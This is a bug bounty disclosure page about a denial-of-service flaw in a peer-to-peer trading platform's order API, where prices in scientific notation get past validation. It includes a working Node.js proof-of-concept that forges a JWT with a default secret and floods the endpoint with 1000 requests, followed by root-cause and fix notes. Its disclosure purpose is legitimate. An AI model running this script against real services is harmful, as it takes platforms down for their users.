Dos is possible through the order creation api
The order creation API's price validation accepts scientific notation such as 1e10000, which is out of range for the database and triggers an error. Repeated requests also force an expensive decimal conversion, exhausting CPU and memory and taking the platform down.
- Disclosed after under an hour
#48436 [W&A-Critical] Dos is possible through the order creation api
Submitted on Jul 2nd 2025 at 04:45:27 UTC by @adhd for IOP | Zano Trade
- Report ID: #48436
- Report Type: Websites & Apps
- Report severity: Critical
- Target: https://github.com/PRavaga/zano-p2p/blob/master/api/controllers/orders.controller.ts
- Impacts:
- Taking down the application/website
Description
Brief/Intro
The order creation api takes an price by verifying it using validateTokensInput but this is bypass-able using scientific notation.
Vulnerability Details
The validateTokensInput function which validates the price if flawed it was there to prevent the big amounts but it fails to prevent the scientific notations.
So when an price of 1e10000 is passed it will be validated as an correct price but this is out of bound for the postgress so it will throw error.
Calling the api with this price multiple time will also call Decimal.toFixed() which is an cpu and ram intensive task so running with 1e100000 it will take up all the resources and result in an dos attack
Impact Details
An attacker can turn down the whole process by sending tons of request to this endpoint causing the platform to go down and stop the trading and p2p and other feature website supports
Proof of Concept
Proof of Concept
If you run this below script you will see the cpu and ram usage spiked up to 100%
const axios = require('axios');
const jwt = require('jsonwebtoken');
const JWT_SECRET = 'ChangeMe123!';
const TARGET = 'http://localhost:3000';
const ADDRESS = 'ZxCkZcmXVGbEW2jTcUUE4AP65Hfni4Sc56iFDB3n7y9B4ykhVGk7Zpu7SMPTR64ezEWJvXHQui84vDWY9bn8eoof15G2NgvGR'; // <- existing address
const ALIAS = 'demoAlias'; // <- matching alias
const token = jwt.sign({ address: ADDRESS, alias: ALIAS }, JWT_SECRET, {
expiresIn: '24h',
});
const orderData = {
pairId: 1,
side: 'limit',
type: 'buy',
price: '1e10000',
amount: '1',
};
const totalRequests = 1000;
let completedRequests = 0;
for (let i = 0; i < totalRequests; i++) {
axios
.post(`${TARGET}/api/orders/create`, { token, orderData })
.then((res) => {
console.log(`Request ${i+1}/${totalRequests}:`, res.status, res.data);
completedRequests++;
if (completedRequests === totalRequests) {
console.log('All requests completed');
}
})
.catch((err) => {
console.error(`Request ${i+1}/${totalRequests}:`, err.response?.status, err.response?.data);
completedRequests++;
if (completedRequests === totalRequests) {
console.log('All requests completed');
}
});
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the price validation function does not reject scientific notation or enforce numeric bounds before the value reaches the database and a costly decimal conversion.
Impact
An attacker could take down the whole process by sending many requests to this endpoint, stopping trading and other platform features.
What the attacker needed
A valid authentication token; an existing address and alias
The fix
The price validation should reject scientific notation and enforce numeric bounds before the value reaches the database or a costly conversion.
How it was found
- Create a valid authentication token for an existing address and alias.
- Send a request to the order creation endpoint with a price written in scientific notation.
- Repeat the request many times to exhaust CPU and memory.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website checks the price you type when creating an order, but the check can be fooled by writing the number in scientific notation (like 1e10000, meaning 1 followed by many zeros). The database cannot store such a huge number, and converting it uses a lot of computer power, so sending many such orders can make the site slow or crash for everyone.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.